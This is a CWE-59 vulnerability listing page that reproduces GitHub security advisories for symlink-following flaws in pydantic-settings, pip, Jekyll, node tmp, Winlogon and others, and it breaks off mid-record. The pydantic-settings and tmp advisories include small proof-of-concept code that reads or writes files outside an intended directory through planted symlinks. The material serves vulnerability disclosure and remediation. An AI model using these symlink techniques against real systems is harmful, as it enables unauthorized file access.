Common Weakness Enumeration
CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
1984 vulnerabilities reference this CWE, most recent first.
GHSA-4XGF-CPJX-PC3J
Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10
VLAI
Summary
pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size
Details
Summary
NestedSecretsSettingsSource reads secret values from files in a configured secrets_dir. When secrets_nested_subdir=True, a directory entry inside secrets_dir that is a symbolic link pointing outside secrets_dir is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented secrets_dir_max_size protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.
Details
NestedSecretsSettingsSource performed two passes over secrets_dir using two different, inconsistent directory-traversal implementations:
- The size check in
validate_secrets_path()usedPath.glob('**/*'), which does not descend into a symbolically-linked directory. - The loader in
load_secrets()usedglob.iglob(f'{path}/**/*', recursive=True)followed byread_text(), which does follow symlinked directories and reads through the link target.
Because the two passes disagreed on symlinks, a symlinked directory inside secrets_dir whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:
- Out-of-tree read (CWE-22 / CWE-59). A symlinked directory (or file) inside
secrets_dirthat resolves outside it is followed, and the external file's contents are loaded into the corresponding settings field. secrets_dir_max_sizebypass (CWE-400). The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, whichglob.iglob(recursive=True)re-traverses, inflating the size accounting and the number of loaded secrets.
Reproduction
In a clean Linux container, with a secrets_dir containing a symlink secrets/db -> /path/outside and an outside/passwd file of 512 bytes, while secrets_dir_max_size=100:
from pydantic import BaseModel
from pydantic_settings import (
BaseSettings,
SettingsConfigDict,
NestedSecretsSettingsSource,
)
class Db(BaseModel):
passwd: str | None = None
class Settings(BaseSettings):
model_config = SettingsConfigDict(
secrets_dir='secrets',
secrets_nested_subdir=True,
secrets_dir_max_size=100, # outside/passwd is 512 bytes
)
db: Db = Db()
@classmethod
def settings_customise_sources(
cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings
):
return (NestedSecretsSettingsSource(file_secret_settings),)
On affected versions, Settings().db.passwd is populated with the 512-byte out-of-tree file and no SettingsError is raised, even though the file exceeds secrets_dir_max_size.
Impact
Applications that opt into NestedSecretsSettingsSource with secrets_nested_subdir=True and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:
- Confidentiality: files outside the configured
secrets_dircan be read into settings values (local file read). - Integrity / availability of the safeguard: the advertised
secrets_dir_max_sizecap can be bypassed, and cyclic symlinks can inflate resource usage during loading.
The vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use NestedSecretsSettingsSource, or that point secrets_dir at a directory fully under the application's control, are not affected.
Mitigation
Upgrade to pydantic-settings 2.14.2, which:
- walks the secrets directory explicitly and only descends into directories whose resolved path stays within
secrets_dir, so symlinked directories pointing outside are never followed; - uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;
- skips any file whose resolved path escapes
secrets_dir, as defense in depth.
If upgrading is not immediately possible, ensure the configured secrets_dir is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid secrets_nested_subdir=True.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-settings"
},
"ranges": [
{
"events": [
{
"introduced": "2.12.0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-400",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T22:10:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`NestedSecretsSettingsSource` reads secret values from files in a configured `secrets_dir`. When `secrets_nested_subdir=True`, a directory entry inside `secrets_dir` that is a symbolic link pointing **outside** `secrets_dir` is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented `secrets_dir_max_size` protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.\n\n### Details\n\n`NestedSecretsSettingsSource` performed two passes over `secrets_dir` using two different, inconsistent directory-traversal implementations:\n\n* The size check in `validate_secrets_path()` used `Path.glob(\u0027**/*\u0027)`, which does **not** descend into a symbolically-linked directory.\n* The loader in `load_secrets()` used `glob.iglob(f\u0027{path}/**/*\u0027, recursive=True)` followed by `read_text()`, which **does** follow symlinked directories and reads through the link target.\n\nBecause the two passes disagreed on symlinks, a symlinked directory inside `secrets_dir` whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:\n\n1. **Out-of-tree read (CWE-22 / CWE-59).** A symlinked directory (or file) inside `secrets_dir` that resolves outside it is followed, and the external file\u0027s contents are loaded into the corresponding settings field.\n2. **`secrets_dir_max_size` bypass (CWE-400).** The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which `glob.iglob(recursive=True)` re-traverses, inflating the size accounting and the number of loaded secrets.\n\n#### Reproduction\n\nIn a clean Linux container, with a `secrets_dir` containing a symlink `secrets/db -\u003e /path/outside` and an `outside/passwd` file of 512 bytes, while `secrets_dir_max_size=100`:\n\n```python\nfrom pydantic import BaseModel\nfrom pydantic_settings import (\n BaseSettings,\n SettingsConfigDict,\n NestedSecretsSettingsSource,\n)\n\n\nclass Db(BaseModel):\n passwd: str | None = None\n\n\nclass Settings(BaseSettings):\n model_config = SettingsConfigDict(\n secrets_dir=\u0027secrets\u0027,\n secrets_nested_subdir=True,\n secrets_dir_max_size=100, # outside/passwd is 512 bytes\n )\n db: Db = Db()\n\n @classmethod\n def settings_customise_sources(\n cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings\n ):\n return (NestedSecretsSettingsSource(file_secret_settings),)\n```\n\nOn affected versions, `Settings().db.passwd` is populated with the 512-byte out-of-tree file and **no** `SettingsError` is raised, even though the file exceeds `secrets_dir_max_size`.\n\n### Impact\n\nApplications that opt into `NestedSecretsSettingsSource` with `secrets_nested_subdir=True` and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:\n\n* **Confidentiality:** files outside the configured `secrets_dir` can be read into settings values (local file read).\n* **Integrity / availability of the safeguard:** the advertised `secrets_dir_max_size` cap can be bypassed, and cyclic symlinks can inflate resource usage during loading.\n\nThe vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use `NestedSecretsSettingsSource`, or that point `secrets_dir` at a directory fully under the application\u0027s control, are not affected.\n\n### Mitigation\n\nUpgrade to **pydantic-settings 2.14.2**, which:\n\n* walks the secrets directory explicitly and only descends into directories whose resolved path stays within `secrets_dir`, so symlinked directories pointing outside are never followed;\n* uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;\n* skips any file whose resolved path escapes `secrets_dir`, as defense in depth.\n\nIf upgrading is not immediately possible, ensure the configured `secrets_dir` is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid `secrets_nested_subdir=True`.",
"id": "GHSA-4xgf-cpjx-pc3j",
"modified": "2026-06-19T22:10:42Z",
"published": "2026-06-19T22:10:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-settings/security/advisories/GHSA-4xgf-cpjx-pc3j"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-settings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size"
}
GHSA-4XH5-X5GV-QWPH
Vulnerability from github – Published: 2025-09-24 15:31 – Updated: 2025-12-19 16:46
VLAI
Summary
pip's fallback tar extraction doesn't check symbolic links point to extraction directory
Details
When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.2"
},
"package": {
"ecosystem": "PyPI",
"name": "pip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8869"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-24T20:04:58Z",
"nvd_published_at": "2025-09-24T15:15:41Z",
"severity": "MODERATE"
},
"details": "When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn\u0027t implement PEP 706. Note that upgrading pip to a \"fixed\" version for this vulnerability doesn\u0027t fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip\u0027s fallback implementation of tar extraction for Python versions that don\u0027t implement PEP 706 and therefore are not secure to all vulnerabilities in the Python \u0027tarfile\u0027 module. If you\u0027re using a Python version that implements PEP 706 then pip doesn\u0027t use the \"vulnerable\" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python \u003e=3.9.17, \u003e=3.10.12, \u003e=3.11.4, or \u003e=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.",
"id": "GHSA-4xh5-x5gv-qwph",
"modified": "2025-12-19T16:46:01Z",
"published": "2025-09-24T15:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8869"
},
{
"type": "WEB",
"url": "https://github.com/pypa/pip/pull/13550"
},
{
"type": "WEB",
"url": "https://github.com/pypa/pip/commit/f2b92314da012b9fffa36b3f3e67748a37ef464a"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/pip"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00028.html"
},
{
"type": "WEB",
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/IF5A3GCJY3VH7BVHJKOWOJFKTW7VFQEN"
},
{
"type": "WEB",
"url": "https://pip.pypa.io/en/stable/news/#v25-2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pip\u0027s fallback tar extraction doesn\u0027t check symbolic links point to extraction directory"
}
GHSA-4XJH-M3QX-49WC
Vulnerability from github – Published: 2018-09-28 19:29 – Updated: 2023-09-05 21:41
VLAI
Summary
Jekyll allows attackers to access arbitrary files by specifying a symlink
Details
Jekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows attackers to access arbitrary files by specifying a symlink in the include key in the _config.yml file.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "jekyll"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "jekyll"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "jekyll"
},
"ranges": [
{
"events": [
{
"introduced": "3.8.0"
},
{
"fixed": "3.8.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-17567"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:59:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Jekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows attackers to access arbitrary files by specifying a symlink in the `include` key in the `_config.yml` file.",
"id": "GHSA-4xjh-m3qx-49wc",
"modified": "2023-09-05T21:41:33Z",
"published": "2018-09-28T19:29:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17567"
},
{
"type": "WEB",
"url": "https://github.com/jekyll/jekyll/pull/7224"
},
{
"type": "PACKAGE",
"url": "https://github.com/jekyll/jekyll"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jekyll/CVE-2018-17567.yml"
},
{
"type": "WEB",
"url": "https://jekyllrb.com/news/2018/09/19/security-fixes-for-3-6-3-7-3-8"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/71da391f584b2fb301d2df0e491b279d87287e2fb4b11309f04ad984@%3Ccommits.accumulo.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jekyll allows attackers to access arbitrary files by specifying a symlink"
}
GHSA-4XJP-GP7M-JJ8V
Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-27 00:00
VLAI
Details
There is a broken access control vulnerability in ZTE ZXvSTB product. Due to improper permission control, attackers could use this vulnerability to delete the default application type, which affects normal use of system.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2022-23144"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-23T15:15:00Z",
"severity": "CRITICAL"
},
"details": "There is a broken access control vulnerability in ZTE ZXvSTB product. Due to improper permission control, attackers could use this vulnerability to delete the default application type, which affects normal use of system.",
"id": "GHSA-4xjp-gp7m-jj8v",
"modified": "2022-09-27T00:00:17Z",
"published": "2022-09-25T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23144"
},
{
"type": "WEB",
"url": "https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1026224"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-527X-QQ38-2VH8
Vulnerability from github – Published: 2022-05-17 05:51 – Updated: 2022-05-17 05:51
VLAI
Details
mkmailpost in newsgate 1.6 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/mmp##### temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-4975"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-06T15:55:00Z",
"severity": "MODERATE"
},
"details": "mkmailpost in newsgate 1.6 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/mmp##### temporary file.",
"id": "GHSA-527x-qq38-2vh8",
"modified": "2022-05-17T05:51:58Z",
"published": "2022-05-17T05:51:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4975"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/496437"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/newsgate"
},
{
"type": "WEB",
"url": "http://uvw.ru/report.lenny.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30932"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-529J-28J3-4465
Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-05-26 18:31
VLAI
Details
Improper link resolution before file access ('link following') in Winlogon allows an authorized attacker to elevate privileges locally.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-25187"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T18:18:35Z",
"severity": "HIGH"
},
"details": "Improper link resolution before file access (\u0027link following\u0027) in Winlogon allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-529j-28j3-4465",
"modified": "2026-05-26T18:31:36Z",
"published": "2026-03-10T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25187"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-25187-detection-script-winlogon-elevation-of-privilege-vulnerability"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-25187-mitigation-script-winlogon-elevation-of-privilege-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-52CH-CF4W-M93W
Vulnerability from github – Published: 2022-05-01 23:32 – Updated: 2022-05-01 23:32
VLAI
Details
wml_backend/p1_ipp/ipp.src in Website META Language (WML) 2.0.11 allows local users to overwrite arbitrary files via a symlink attack on the ipp.$$.tmp temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-0665"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-11T21:00:00Z",
"severity": "LOW"
},
"details": "wml_backend/p1_ipp/ipp.src in Website META Language (WML) 2.0.11 allows local users to overwrite arbitrary files via a symlink attack on the ipp.$$.tmp temporary file.",
"id": "GHSA-52ch-cf4w-m93w",
"modified": "2022-05-01T23:32:11Z",
"published": "2022-05-01T23:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0665"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=463907"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28829"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28856"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29353"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200803-23.xml"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1492"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:076"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27685"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-52F5-9888-HMC6
Vulnerability from github – Published: 2025-08-06 17:06 – Updated: 2025-11-03 21:34
VLAI
Summary
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Details
Summary
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
- check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
- run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
- the temporary file is created under
$HOME/mydir1(outside thetmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Impact
Arbitrary temporary file / directory write via symlink
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.3"
},
"package": {
"ecosystem": "npm",
"name": "tmp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54798"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-06T17:06:04Z",
"nvd_published_at": "2025-08-07T01:15:26Z",
"severity": "LOW"
},
"details": "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system\u0027s tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system\u0027s default temporary directory.\n absolute paths are fine as long as they point to a location under the system\u0027s default temporary directory.\n Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n if (name.startsWith(tmpDir)) {\n return path.resolve(name);\n } else {\n return path.resolve(path.join(tmpDir, name));\n }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it\u0027s possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n if (option === \u0027name\u0027) {\n // assert that name is not absolute and does not contain a path\n if (path.isAbsolute(name))\n throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n let basename = path.basename(name);\n if (basename === \u0027..\u0027 || basename === \u0027.\u0027 || basename !== name)\n throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n }\n else { // if (option === \u0027dir\u0027 || option === \u0027template\u0027) {\n // assert that dir or template are relative to tmpDir\n if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n }\n let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n if (!resolvedPath.startsWith(tmpDir))\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open \u0027/tmp/mydir1/tmp-[random-id]\u0027\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require(\u0027tmp\u0027);\n\nconst tmpobj = tmp.fileSync({ \u0027dir\u0027: \u0027evil-dir\u0027});\nconsole.log(\u0027File: \u0027, tmpobj.name);\n\ntry {\n tmp.fileSync({ \u0027dir\u0027: \u0027mydir1\u0027});\n} catch (err) {\n console.log(\u0027test 1:\u0027, err.message)\n}\n\ntry {\n tmp.fileSync({ \u0027dir\u0027: \u0027/foo\u0027});\n} catch (err) {\n console.log(\u0027test 2:\u0027, err.message)\n}\n\ntry {\n const fs = require(\u0027node:fs\u0027);\n const resolved = fs.realpathSync(\u0027/tmp/evil-dir\u0027);\n tmp.fileSync({ \u0027dir\u0027: resolved});\n} catch (err) {\n console.log(\u0027test 3:\u0027, err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n let resolvedPath;\n if (name.startsWith(tmpDir)) {\n resolvedPath = path.resolve(name);\n } else {\n resolvedPath = path.resolve(path.join(tmpDir, name));\n }\n return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
"id": "GHSA-52f5-9888-hmc6",
"modified": "2025-11-03T21:34:20Z",
"published": "2025-08-06T17:06:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
},
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/issues/207"
},
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
},
{
"type": "PACKAGE",
"url": "https://github.com/raszi/node-tmp"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
